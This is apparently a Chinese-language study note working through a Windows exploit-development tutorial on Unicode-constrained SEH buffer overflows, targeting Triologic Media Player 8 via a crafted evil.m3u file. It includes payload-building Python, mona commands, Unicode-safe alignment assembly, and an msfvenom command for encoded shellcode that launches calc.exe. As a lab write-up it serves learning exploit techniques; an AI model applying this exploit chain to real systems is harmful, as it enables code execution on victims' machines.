# Windows Exploit Development - Unicode Fuzzy Security 第5部分教學,探討如果遇到 ascii 轉成 unicode 要如何 exploit ## Unicode 一開始電腦使用者用所謂的 ascii 在英文表達上是沒有問題的,但是有其他國家文字顯然不可能用區區 ascii 就能表示,因此有了 unicode 編碼(萬國碼), unicode 跟 ascii 最大的區別就是 unicode 用兩個 bytes 表達一個字 為了讓其他非英語國家的用戶有更好的體驗,有些程式會將輸入轉換成 unicode 方便那些用戶辨識文字,所以原本 exploit 的 ascii 就會轉成 unicode 然後精心設計好的一些 payload 轉成 unicode ,那顯然就不會出現想要的結果 ## 環境 target 採用 [Triologic Media Player 8](https://www.exploit-db.com/apps/4e68d370d54180157bf1b578407848f4-triomp8setup.exe) 其於照舊 ## 流程 一開始要先生成一個 m3u ,一樣用 python 完成: ```python filename = 'evil.m3u' payload = '...' #cyclic with open(filename, 'w') as f: f.write(payload) ``` 打開 player 並用 immunity attach 後再打開 evil.m3u: ![](https://i.imgur.com/SGWcGnc.png) > 因為他有附圖所以我就直接拿來用了 > 第一個 exception 過去後,先用 mona 找 offset: `!mona findmsp` 但不知道是不是 unicode 的關系,好像 immunity 都會掛在 searching......(教學和我本人的都掛掉了) 不過最後還是有給一個近似的 offset 出來,這邊用不同 pattern 驗證一下: ```python payload = '\x90'*536 + 'C'*2 + 'D'*2 + 'A'*4466 ``` 這邊用 C*2 而不是4個 C 的原因是 unicode 接收到 ascii 後會直接在前面加上 \x00 ,所以要填滿4 byte 可以只填兩個就好,填四個還是會變成 8 個 這邊觀察 SEH 被蓋成多少要透過 immunity 看 SEH chain 的情形: `ALT + s` unicode 下, nseh 的指令不能簡單的往回跳,會被 unicode 轉換破壞掉,因此要選一些被轉換過也沒差的指令: ```asm inc ecx add byte ptr ds:[ecx], dh ``` 這邊 ecx 之所以可以,大概是因為作者看過 ecx 保存的值是指向某可寫區域的地址,而該區域我們也用不到,故可以直接拿來利用而不會再發生 exception 搞定 nseh 接下來換 seh , seh 的問題點在於不能像以往隨便找個 pop pop ret 就完事,必須找一個 ascii 經過轉換成 unicode 還能正確的地址,一樣 mona 可以幫你搞定: `!mona seh -cp unicode` 這邊又卡了好一下,最後出現幾個看起來象是 unicode 的地址,作者說他測了11個只有 1 個是符合的,我等下測測看 再來就是放 shellcode ,因為 unicode 所以必須直接了當的跳到 shellcode 上才不會中途遇到奇怪的 unicode 無法執行,方法是: 1. 找到離 buffer 比較近的 reg: 找尋方法是透過 stack 上的殘留值觀察 padding 的地址,再跟 reg 比對看誰比較近,我的電腦上 ebx, ebp, esp 都可以,這邊選 ebp 2. 將該 reg 透過加減靠近 buffer 3. 找一個 reg B 將運算結果給 B 4. 透過 pop 將 eip 送到 shellcode 上 作者說他直接用算的然後跳過去結果不可行,不過由於 padding 很大,多試幾個 byte 總會找到成功的 上述的動作由以下 code 完成,因為 unicode 所以會增加很多無用的指令方便對齊後不會影響這些操作: ```asm push ebp add byte ptr ds:[ecx], dh pop eax add byte ptr ds:[ecx], dh add eax, 0x11002000 add byte ptr ds:[ecx], dh sub eax, 11001700 add byte ptr ds:[ecx], dh push eax ret ``` 跳轉過去後多塞幾個 padding 讓他可以直接抵達 shellcode (剛剛的操作只有找到 buffer 位置並跳過去), padding 可以用: ```asm pop ecx add byte ptr ds:[ECX], al ``` 上面的 code 即為 \x58 shellcode 的部分一樣要能通過 unicode 的考驗,不過 msfvenom 都幫我們做好了: `msfvenom -a x86 --platform windows -p windows/exec CMD='calc.exe' -e x86/unicode_mixed BufferRegister=EAX -f python` 其中 -e 即為 encoder ,可以將 shellcode encode 成就算轉成 unicode 也能好好運作的 shellcode ,不過要特別注意他需要提供指向 buffer 的 register ,這邊根據我們寫的指向 buffer 最後跳轉靠 eax 所以填上 eax 之後將他放到 exploit 生成 evil.m3u 給 player 打開就會彈出計算機了